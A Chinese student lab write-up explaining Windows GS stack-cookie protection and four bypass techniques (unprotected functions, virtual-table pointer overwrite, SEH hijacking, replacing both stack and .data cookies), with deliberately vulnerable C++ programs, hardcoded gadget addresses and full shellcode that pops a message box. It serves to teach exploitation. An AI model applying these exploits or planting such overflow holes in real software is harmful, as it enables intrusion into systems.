20155306 白皎 0day漏洞——漏洞利用原理之GS

一、GS安全编译选项的保护原理

1.1 GS的提出

在第二篇博客（栈溢出利用）中，我们可以通过覆盖函数的返回地址来进行攻击，面对这个重灾区，Windows在VS 7.0(Visual Studio 2003)及以后版本的Visual Studio中默认启动了一个安全编译选项——GS（针对缓冲区溢出时覆盖函数返回地址这一特征），来增加栈溢出的难度。

1.2 GS的工作原理

GS编译选项为每个函数调用增加了一些额外的数据和操作,用以检测栈中的溢出。

• 在所有函数调用发生时，向栈帧内压入一个额外的随机DWORD，随机数被称为Security Cookie。
• Security Cookie位于EBP之前，系统将在.data的内存区域中存放一个Security Cookie的副本，如下图所示：

• 当栈中发生溢出时，Security Cookie会首先被淹没，之后才是EBP和返回地址。
• 在函数返回之前，系统将执行一个额外的安全验证操作，被称作Security check。
• 在Security check过程中，系统将比较栈帧中原先存放的SC和存放在.data之中的SC值进行比较，如果两者不吻合，说明栈帧中的SC已经被破坏，即栈中发生溢出。
• 当检测到栈中发生溢出时，系统将进入异常处理流程，函数不会被正常返回，ret指令也不会被执行。如图：

但是，GS保护机制的使用带来的后果就是系统性能的下降，所以编译器并不是对所有的函数都应用GS，以下情况不会应用GS：

1. 函数不包含缓冲区
2. 函数被定义为具有变量参数列表
3. 函数使用无保护的关键字标记
4. 函数在第一个语句中包含内嵌汇编代码
5. 缓冲区不是8字节类型且大小不大于4字节

1.3 Security Cookie的生成

• 系统以.data节第一个双字作为Cookie的种子，或者原始Cookie（所欲函数的Cookie都用这个DWORD生成）
• 在程序每次运行时Cookie的种子都不用，因此种子具有很强的随机性；
• 在栈帧初始化以后系统用EBP异或种子，作为当前函数的Cookie，以此作为不同函数之间的区别，并增加Cookie的随机性；
• 在函数返回时前，用EBP还原出（异或）Cookie的种子。

当然，GS编译选项不可能一劳永逸彻底遏制所有类型的缓冲区溢出攻击，本节我们学习四种突破方法：

1.利用未被保护的内存突破GS
2. 覆盖虚函数突破GS
3.攻击异常处理突破GS
4.同时替换栈中和.data中的Cookie突破GS 

二、利用未被保护的内存突破GS

原理：在前面我们我们介绍GS原理时提到，为了将GS对性能的影响降到最低，并不是所有函数都会被保护，所以我们可以利用一些未被保护的函数绕过GS的保护。
实验代码如下：

// gs1.cpp : 定义控制台应用程序的入口点。
//

#include"stdafx.h"
#include"string.h"
int vulfuction(char * str)
{
    char arry[4];
    strcpy(arry,str);
    return 1;
}
int _tmain(int argc,_TCHAR* argv[])
{
    char* str="yeah,the fuction is without GS";
    vulfuction(str);
    return 0;
}

我们在vs2008下对其进行编译后，用IDA对可执行程序反汇编时，可以看到没有任何Security Cookie的验证操作。

直接运行程序，程序会弹出异常对话框，可以看到提示说明了进行strcpy时发生了溢出，是不安全的。

二、覆盖虚函数突破CS

2.1 原理

GS机制中说明，程序只有在函数返回时，才会去检查Security Cookie，而在这之前是没有任何的检查措施。换句话说，只要我们在检查SC之前劫持程序流程，就可以实现对程序的溢出，而C++虚函数就可以起到这样的功能。

2.2实验思路及步骤

• 实验代码如下：

  #include "stdafx.h"
  #include "string.h"
  class GSVirtual {
  public :
  void gsv(char * src)
  {
      char buf[200];
      printf("begin!");
      strcpy(buf, src);
      printf("done!");
      bar(); // virtual function call
  }
  virtual void  bar()
  {
  }
  };
  int main()
  {
  
  GSVirtual test;
  test.gsv(
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\0"
  );
  return 0;
  }

• 实验思路

• gsv中存在着典型的缓冲区溢出的漏洞函数strcpy。
• gsv中存在一个虚函数bar()。
• 当gsv函数中的buf变量发生溢出的时候就可能覆盖到虚表指针，倘若如果能够控制虚表指针使其指向我们可以控制的内存空间，那么就就可以运行缓冲区中相应的shellcode了。

• 实验步骤：

1.如代码所示，在test.gsv传入199个"\x90"+1个"\0"，通过前面的分析，我们知道传入参数的长度大于200时，变量buff就会溢出。
2.编译生成exe文件，用ollydbg打开生成的文件，在strcpy函数处设置一个断点。

3.按 调试——运行，运行到断点处，可以明确得到buf区的起始地址：

同时观察下图所示的内存布局，我们可以看到变量200字节之后，依次是SC、EBP、返回地址、参数以及虚函数表地址各4字节，因此我们至少要增加20字节以上才可以覆盖虚表地址。

4.继续单步执行，到调用虚函数停止，即call dword ptr eax这句，发现虚表地址为0x004010C0如下图：

5.由此我们可以知道，当strcpy函数执行完之后，就是运行虚函数。根据我们一开始的思路，我们需要做的是把虚表指针指向我们的shellcode来劫持进程，那么程序就会执行我们预设的shellcode了。

• 首先我们可以肯定的是我们没有办法使用最简单的办法jmp esp来直接跳转到buf区的起始地址0x0012FEA8,因为在执行完strcpy函数后的栈并不包含该数值
• 既然当时的栈之中没有该数值，那么我们就要找其它栈存放该地址。在右下角的表中，我们可以发现在0x0012FE9C处存放着0x0012FEA8，如下图。那么我们只需要将当前esp指针移至0x0012FE9C即可。

在寄存器状态列表中获取当前的esp的值，为0x0012FEA4。要令其移至0x0012FE9C，那么就需要esp+8，所以只要在当前状态下执行三次pop语句后，执行retn语句将程序强制返回栈顶(0x0012FE9C)所含值（0x0012FEA8)地址处，那么接下来就可以执行预设的shellcode了。

通过查询反汇编代码，发现在内存地址为0x7C992B04处就有符合要求的语句，如下图。

• 接下里只需要将该地址作为参数放在shellcode之前，加入到test.gsv参数中，令程序认为该地址为机器语言（相当于跳板的功能），执行三次pop和retn的命令，就能够达到绕过GS保护机制，执行shellcode了，shellcode代码如下：

              "\x66\x2b\x99\x7C"
              "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
              "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
              "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
              "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
              "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
              "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
              "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
              "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
              "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
              "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
              "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90"

有三部分组成：跳板地址（pop+retn共4字节）+谈对话框的机器码（168字节）+0x90字节填充（49字节）=221字节，刚好超过之前分析出来的至少220字节。
替换shellcode，重新运行就可以啦！

三、攻击异常处理突破GS

3.1实验原理

因为GS机制没有对S.E.H提供保护**，所以我们可以通过超长的字符串覆盖掉异常处理函数指针，然后出触发一个异常，程序就会转入异常处理，由于异常处理函数指针已经被覆盖，那么我们就可以通过劫持S.E.H来控制程序的后续流程了。

3.2实验思路及步骤

• 实验代码如下：

  #include <stdafx.h>
  #include <string.h>
  char shellcode[]=
  "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
  "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
  "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
  "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
  "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
  "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
  "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
  "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
  "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
  "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
  "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90"
  "\xA0\xFE\x12\x00"//address of shellcode
  ;
  
  void test(char * input)
  {
  
      char buf[200];
      strcpy(buf,input);
      strcat(buf,input);
  }
  
  void main()
  {
      test(shellcode);
  }

• 实验思路：

• 函数test中存在典型的栈溢出漏洞
• 在strcoy操作后变量buf会溢出，S.E.H异常处理句柄会被过长的字符串所覆盖
• 由于strcpy的溢出，覆盖了input的地址，导致了strcat从一个非法地址读取数据，这时就会触发异常，程序进入异常处理，这样就可以在程序检查SC之前将程序流程劫持。

实验环境为系统windows 2000，由于无法安装增强工具以及软件所以只说明原理。

四、同时替换栈中和.data中的Cookie突破GS

4.1实验原理

根据GS保护机制的原理，最终在Security check过程中比对的是栈中Cookie值和.data中的Cookie值，那么想要绕过Security check有两种方法：

• 猜测Cookie值。
• 同时替换栈中和.data中的Cookie，保证溢出后的Cookie值的一致性。
• 由于cookie的生成随机性太高，可能性极低，因此我们选择同时替换栈中和.data中的Cookie。

4.2实验思路及步骤

• 实验代码：

  #include <stdafx.h>
  #include <string.h>
  #include <stdlib.h>
  char shellcode[]=
  "\x90\x90\x90\x90"//new value of cookie in .data
  "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
  "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
  "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
  "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
  "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
  "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
  "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
  "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
  "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
  "\x53\x68\x35\x32\x31\x32\x68\x32\x30\x31\x33\x8B\xC4\x53\x50\x50"
  "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP
  "\x90\x90\x90\x90"
  "\x94\xFE\x12\x00"//address of shellcode
  ;
  void test(char * str, int i, char * src)
  {
      char dest[200];
      if(i<0x9995)
      {
          char * buf=str+i;
          *buf=*src;
          *(buf+1)=*(src+1);
          *(buf+2)=*(src+2);
          *(buf+3)=*(src+3);
          strcpy(dest,src);
      }
  }
  void main()
  {
      char * str=(char *)malloc(0x10000);
      test(str,0xFFFF2FB8,shellcode);
  }

• 实验思路：

• main函数中在堆中申请了0x1000个字节的空间，并通过test函数对其空间的内容进行操作。
• test函数对s+i到s+i+3的内存进行赋值，虽然函数对i进行了上限判断，但是没有判断i是否大于0，当i为负值时，s+i所指向的空间就会脱离main中申请的空间，进而有可能会指向.data区域，从而修改.data中的SC值。
• test函数中的strcpy存在典型的溢出漏洞。

• 实验步骤：

1.将代码中shellcode替换成8个/x90，避免出现缓冲区溢出，从而进行正常的SC检查，生成可运行程序，并用Ollydbg打开。
2.在if语句处设置断点，从而观察SC生成流程，F9运行至断点处，获取sc和EBP的值。

补充：SC的检验流程

    a. 从EBP-4中提取SC

    b. 从.data区存放副本SC处提取副本SC

    c. 比较两者，若一致则校验通过，否则转入校验失败的异常处理

3.明确malloc申请空间的起始地址，可以通过在malloc后设置断点来查看。

4.由于test函数中存放一个参数i，让这个参数传递一个负值来让指针str向存放sc的方向移动，即指向起始地址的指针指向栈中存放SC的地址。

5.计算出上述两地址间的偏移量，将其写入test函数的i参数中。

6.之后运行test函数，shellcode的内容将覆盖掉0x00403000处的内容，即达到修改栈中SC的目的。

7.通过编写shellcode代码修改栈中的SC

第一部分：在shellcode代码前增加4个"\x90"来修改栈中的SC的值。
第二部分：shellcode代码来弹出的对话框
第三部分：用"\x90"填充32个字节至SC所在位置
第四部分：用4个\x90和EBP异或结果覆盖SC的值。

8.将布置好的shellcode代码复制到程序里，编译运行即可出现对话框。

五、补充：关于虚函数的介绍

定义：C++类的成员函数在声明时,若使用关键字virtual进行修饰,则被称为虚函数.
一些要点：

• 一个类中可能有很多个虚函数。
• 虚函数的入口地址被统一保存在虚表中。
• 对象在使用虚函数时,先通过虚表指针找到虚表,然后从虚表中取出最终的函数入口地址进行调用。
• 虚表指针保存在对象的内存空间中,紧接着虚表指针的是其他成员变量。
• 虚函数只有通过对象指针的引用才能显示出其动态调用的特性
• 根据虚函数的特性,可以通过修改对象中的虚表指针,令其指向存放预设shellcode的地址,从而调用虚函数的时候执行shellcode,达到溢出攻击的目的,如下图所示：
  

原文地址：https://www.cnblogs.com/0831j/p/9225787.html